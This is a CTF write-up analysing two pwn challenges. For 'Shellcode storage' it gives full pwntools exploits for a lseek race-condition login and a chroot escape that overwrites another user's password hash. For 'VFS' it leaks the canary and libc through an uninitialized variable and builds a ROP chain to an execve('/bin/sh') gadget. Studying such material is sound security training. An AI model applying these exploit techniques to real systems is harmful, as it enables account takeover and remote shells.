Attack Defence

Shellcode storage

This was a pwn challenge. The binary is available here. We could not find the vulnerability in time during the CTF, but it featured a very nice (and potentially destructive) unintended solution which I wanted to cover.

Exploration

The decompiled binary is pretty easy, with a couple of interesting points:

  • The binary uses a password file and locks on it to store users’ passwords. This prevents concurrent sessions to overwrite the passwords.

  • To execute the shellcode stored by users, the binary spawns a child process which executes the following actions:

    • set some signal handlers
    • chroot into the user directory
    • install a seccomp
    • execute the shellcode

    The seccomp (obtained with seccomp-tools) is the following:

    line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
     0002: 0x06 0x00 0x00 0x00000000  return KILL
     0003: 0x20 0x00 0x00 0x00000000  A = sys_number
     0004: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0006
     0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0006: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0008
     0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0008: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0010
     0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0010: 0x15 0x00 0x01 0x00000008  if (A != lseek) goto 0012
     0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0012: 0x15 0x00 0x01 0x00000004  if (A != stat) goto 0014
     0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0014: 0x15 0x00 0x01 0x00000005  if (A != fstat) goto 0016
     0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0016: 0x15 0x00 0x01 0x00000006  if (A != lstat) goto 0018
     0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0018: 0x15 0x00 0x01 0x00000027  if (A != getpid) goto 0020
     0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0020: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0022
     0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0022: 0x15 0x00 0x01 0x00000023  if (A != nanosleep) goto 0024
     0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0024: 0x15 0x00 0x01 0x00000050  if (A != chdir) goto 0026
     0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0026: 0x15 0x00 0x03 0x00000001  if (A != write) goto 0030
     0027: 0x20 0x00 0x00 0x00000010  A = fd ## write(fd, buf, count)
     0028: 0x35 0x01 0x00 0x00000003  if (A >= 0x3) goto 0030
     0029: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0030: 0x06 0x00 0x00 0x00000000  return KILL
    

The intended solution

Looking at the binary, we can find out that the parent process does not wait for the children to end, it just sleeps for 5 seconds. We can also notice that there is the possibility of logging out (which is usually present in most binaries in the CTFs, but it is rarely useful).

If we put this all together with the fact that fork uses the same file descriptor for the children and that we have access to lseek in the shellcode, we can actually force a race condition to happen and log in with another user ID!

If you look at how the code is written for the login, you can now spot the error in it:

void loginUser(void)

{
  int tmp;
  int __fd;
  size_t sVar1;
  long in_FS_OFFSET;
  int id;
  undefined hash_out [32];
  undefined saved_hash [32];
  char password [72];
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);

  // Here the ID is taken in
  printf("Please insert your ID: ");
  __isoc99_fscanf(stdin,"%d",&id);
  getchar();
  tmp = id << 5;
  __fd = fileno(pwdfile);

  // and the file descriptor of the passwords file is lseeked
  lseek(__fd,(long)tmp,SEEK_SET);

  // but here we can wait undefinitely,
  // for example until the child has lseeked the fd to our ID
  printf("Please insert your password: ");
  fgets(password,0x3f,stdin);
  sVar1 = strcspn(password,"\n");
  password[sVar1] = '\0';
  sVar1 = strlen(password);
  sha256(password,sVar1 & 0xffffffff,hash_out);
  tmp = fileno(pwdfile);
  read(tmp,saved_hash,0x20);
  tmp = memcmp(hash_out,saved_hash,0x20);
  if (tmp == 0) {
    userHandler(id);
  }
  else {
    puts("Wrong password!");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

The attack can be implemented as following:

#!/usr/bin/env python3

from pwn import *
from hashlib import sha256
from base64 import b64encode
import time
import os

exe = ELF("./s3")

context.binary = exe
context.log_level = "debug"
context.terminal = ["kitty"]
io = None


def conn(*a, **kw):
    if args.LOCAL:
        return process([exe.path], **kw)
    else:
        return gdb.debug([exe.path], gdbscript="", **kw)


io = conn(level="debug")


def register(pwd: bytes) -> int:
    global io
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"password: ", pwd)
    io.recvuntil(b"Your user's ID is: ")
    return int(io.recvline()[:-1])


def login(idx: int, pwd: bytes, sleep=0):
    global io
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"ID: ", str(idx).encode())

    time.sleep(sleep)
    io.sendlineafter(b"password: ", pwd)


def run_shellcode(shellcode: bytes):
    io.sendlineafter(b"> ", b"5")
    io.sendlineafter(b"shellcode!\n", shellcode)


def logout():
    global io
    io.sendlineafter(b"> ", b"6")


def main():
    global io

    to_pwn = 0

    ## good luck pwning :)
    mypwd = os.urandom(16).hex().encode()  ## random password
    idx = register(mypwd)  ## register our user
    login(idx, mypwd)  ## login

    shellcode = b64encode(
        asm(
            "push 0\n"  ## nanoseconds
            + "push 6\n"  ## seconds
            + "mov rdi, rsp\n"  ## 1st argument for nanosleep
            + "xor rsi, rsi\n"  ## 2nd argument can be NULL
            + f"mov rax, {constants.SYS_nanosleep}\n"
            + "syscall\n"
            + shellcraft.lseek(3, idx * (256 // 8), constants.SEEK_SET)
        )
    )
    run_shellcode(shellcode)  ## run our shellcode
    logout()
    login(to_pwn, mypwd, sleep=2)  ## sleep before sending the password

    io.interactive()


if __name__ == "__main__":
    main()

The (probably?) unintended solution

Remember what we said earlier? The child process calls chroot with the directory of our user (data/N, with N the user ID). By reading the chroot manual carefully, we can notice that there is a slight problem: this chroot is completely useless. The manual explains that:

This call does not change the current working directory, so that after the call ‘.’ can be outside the tree rooted at ‘/’.

It is possible to confirm this by writing a simple C program to try to chroot inside a directory without calling chdir into it. You will notice that the pwd does not change, nor the process is really inside the chroot.

We can abuse this to modify the password file! In particular, we write to our target a sha256 password of our choice.

Here’s the script that implements the attack (functions and utils are defined as above):

def main():
    global io

    pwned_pwd = os.urandom(16).hex().encode()  ## random password
    to_pwn = 0

    ## good luck pwning :)
    mypwd = os.urandom(16).hex().encode()
    idx = register(mypwd)
    login(idx, mypwd)

    shellcode = b64encode(
        asm(
            ## rax contains the address of our shellcode page,
            ## which we can use for writing stuff easily
            "push rax\n"
            ## we save it in r15 for future usage, with an
            ## offset to make sure we don't overwrite our shellcode
            + "pop r15\n"
            + "add r15, 0x300\n"
            ## we cannot write to fd >= 3 due to seccomp,
            ## therefore we close stderr and reopen passwords,
            ## which will now have fd = 2 on most systems
            + shellcraft.close(2)
            + shellcraft.open("./passwords", constants.O_WRONLY)
            ## Reading out the sha256 of the password is optional,
            ## but not doing so would make it impossible
            ## to restore it later. If not restored the service
            ## of every other players would appear as down, as
            ## the bot is not able to login anymore
            + shellcraft.lseek(2, to_pwn * (256 // 8), constants.SEEK_SET)
            + shellcraft.read(2, "r15", 256 // 8)
            + shellcraft.write(1, "r15", 256 // 8)
            ## Finally, we overwrite the password sha256 with our password sha256!
            + shellcraft.lseek(2, to_pwn * (256 // 8), constants.SEEK_SET)
            + shellcraft.write(
                2,
                sha256(pwned_pwd).digest(),
                256 // 8,
            )
        )
    )

    run_shellcode(shellcode)
    logout()
    login(to_pwn, pwned_pwd)
    ## steal flag here :)
    ## after that, execute one more time the above shellcode,
    ## but now we restore the original sha256 password

    io.interactive()

Summary

Very nice challenge, learnt the hard way around that waiting a child to exit is more important than it may look at first sight, and that chroots are really strange sometimes. Do not trust ’em!

Speedruns

The CTF featured a number of four speedrun challenges, which were Jeopardy-style challenges released regularly. Unfortunately, we only solved the second one, but we got really close to solve the first one too!

Unfortunately, as the first one was related to making a scanner (which was on-site) scan an image, we cannot really try to solve it afterward the CTF ended 😔.

VFS - Speedrun 2

Exploration

This pwn challenge was pretty interesting, as it was illustrating how it is (kinda) possible to use the stack to allocate memory dynamically (spoiler alert: don’t ever do it for real). The binary and other files that came with it are available here.

The binaries’ protections are the following (checksec output):

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

The binary was fairly simple. The decompiled version from Ghidra is the following:

// This is actually not as complex as it looks, but as this
// function does not follow the normal calling convention and
// stack setup, Ghidra doesn't really understand what's going
// on really well
void demo(long size)
{
  long in_FS_OFFSET;
  long canary;
  long -size;

  -size = -size;
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("Please insert your string!");
  printf("> ");
  gets(&stack0x00000000 + -size);
  *(undefined *)((long)&canary + *(long *)(&stack0xfffffffffffffff8 + -size) + -size) = 0;
  print_result((long)&stack0x00000000 + -size);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void VFS(void)
{
  long in_FS_OFFSET;
  long size;
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("How big of an array you want to make?");
  printf("> ");
  size = -1;
  __isoc99_scanf("%lu",&size);
  getchar();
  if ((size < 1) || (0x1ff < size)) {
    puts("Let\'s not break our necks here...");
  }
  else {
    size = (size - size % 0x10) + 0x20;
    demo(size);
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void stats(void)
{
  int choice;
  long in_FS_OFFSET;
  undefined8 rating;
  char local_178 [360];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("Hello! This demo was proven faster than mallocs, in every test environment available.");
  puts("90% of the developers who used this app found this approach more useful than mallocs");
  puts("Our company found a 60% revenue increase after switching all our products to VSF");
  puts("You can get our VSF ready kit for only 13370$");
  puts("Can you please leave a rating? (y/n)");
  printf("> ");
  choice = getchar();
  getchar();
  if ((char)choice == 'y') {
    puts(
        "VFS allows us to have ratings between 0 and 18446744073709551615, unlike mallocs approaches , which is usually limited to 5 (in all testing environments)"
        );
    printf("> ");
    __isoc99_scanf("%lu",&rating);
    getchar();
  }
  else {
    puts("At least leave us a review pls");
    putchar(0x3e);
    fgets(local_178,0x15d,stdin);
  }
  printf("Your rating of %lu was recorded\n",rating);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void main(void)
{
  long in_FS_OFFSET;
  char choice;
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setBuffs();
  puts("Welcome to VSF demo!");
  while( true ) {
    puts("Main menu");
    puts("1. Test variable size frames");
    puts("2. Print stats which proves this approach is better than malloc");
    puts("3. Exit");
    printf("> ");
    read(0,&choice,1);
    getchar();
    if (choice == '3') break;
    if (choice == '1') {
      VFS();
    }
    if (choice == '2') {
      stats();
    }
  }
  puts("Hope you enjoyed this demo, and please stop using malloc :)");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

If you are wondering what the demo function does, it is useful to look at the assembly. A standard function prologue looks like the following (intel syntax):

push   rbp
mov    rbp,rsp
sub    rsp,0x180

The space allocated on the stack for the local variables (using sub rsp, <n>) is statically defined. In demo, however, the prologue is the following:

push   rbp
mov    rbp,rsp
sub    rsp,rdi

where the space allocated is dynamically defined using rdi, which is the first argument passed to the function.

There are two vulnerabilities. The first one is obvious, and derives from the usage of gets. Notice, however, that we cannot leak the canary, as gets puts a null byte at the end of our input, preventing string-reading functions to leak it.

The second vulnerability is a little more subtle. Notice that the rating variable in stats is never initialized if we do not enter the if, but it still gets printed out anyway at the end. This means that we can leak stuff on the stack!

Exploitation

We can use the second vulnerability to leak stuff from the binary. The easier way to see what we can get is to try every possible combination of calls to VFS, followed by a stats. In each VFS call, we will change the size of the stack allocation, therefore changing the stack (and possibly what’s leaked by stats).

We can then simply print out the leaks, find out what it prints (in this case, both the canary and a libc address is printed, allowing us to use the whole libc to pop a shell).

We can then simply build a ropchain to pop a shell using a one_gadget (and some gadgets to fulfill its constraints.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./vfs_patched")
libc = ELF("./libc.so.6")

context.binary = exe
context.log_level = "debug"
context.terminal = ["kitty"]
io = None


def conn(*a, **kw):
    if args.GDB:
        return gdb.debug([exe.path], gdbscript="", **kw)
    else:
        return process([exe.path], **kw)


def vfs(size, data=b"A"):
    global io
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"> ", str(size).encode())
    io.sendlineafter(b"> ", data)


def stats():
    global io
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"> ", b"n")
    io.sendlineafter(b">", b"AAAA")
    io.recvuntil(b"rating of ")
    return int(io.recvuntil(" ")[:-1])


def main():
    global io
    io = conn(level="debug")

    ## good luck pwning :)
    ## Bruteforce the possible leaks
    ## for i in range(2, 0x200):
    ##     vfs(i)
    ##     print(i, hex(stats()))

    ## Leak canary
    vfs(288)
    canary = stats()
    log.info(f"canary: {hex(canary)}")

    ## Leak libc
    vfs(144)
    libc.address = stats() - 0x216600
    log.success(f"libc @ {hex(libc.address)}")

    ## Get a shell
    ## To use the one_gadget found, we need to set a couple of registers first

    ## 0xebcf8 execve("/bin/sh", rsi, rdx)
    ## constraints:
    ##   address rbp-0x78 is writable
    ##   [rsi] == NULL || rsi == NULL
    ##   [rdx] == NULL || rdx == NULL
    rop = ROP(libc)
    rop.raw(libc.address + 0x00000000000DA97D)  ## pop rsi; ret;
    rop.raw(0)
    rop.raw(libc.address + 0x000000000011F497)  ## pop rdx; pop r12; ret
    rop.raw(0)
    rop.raw(0)
    rop.raw(libc.address + 0xEBCF8)

    payload = flat(
        b"A" * 16,  ## padding
        canary,  ## canary
        exe.bss(100),  ## one_gadget also requires a writeable rbp - 0x78
        rop.chain(),  ## rop chain
    )
    vfs(10, payload)

    io.interactive()


if __name__ == "__main__":
    main()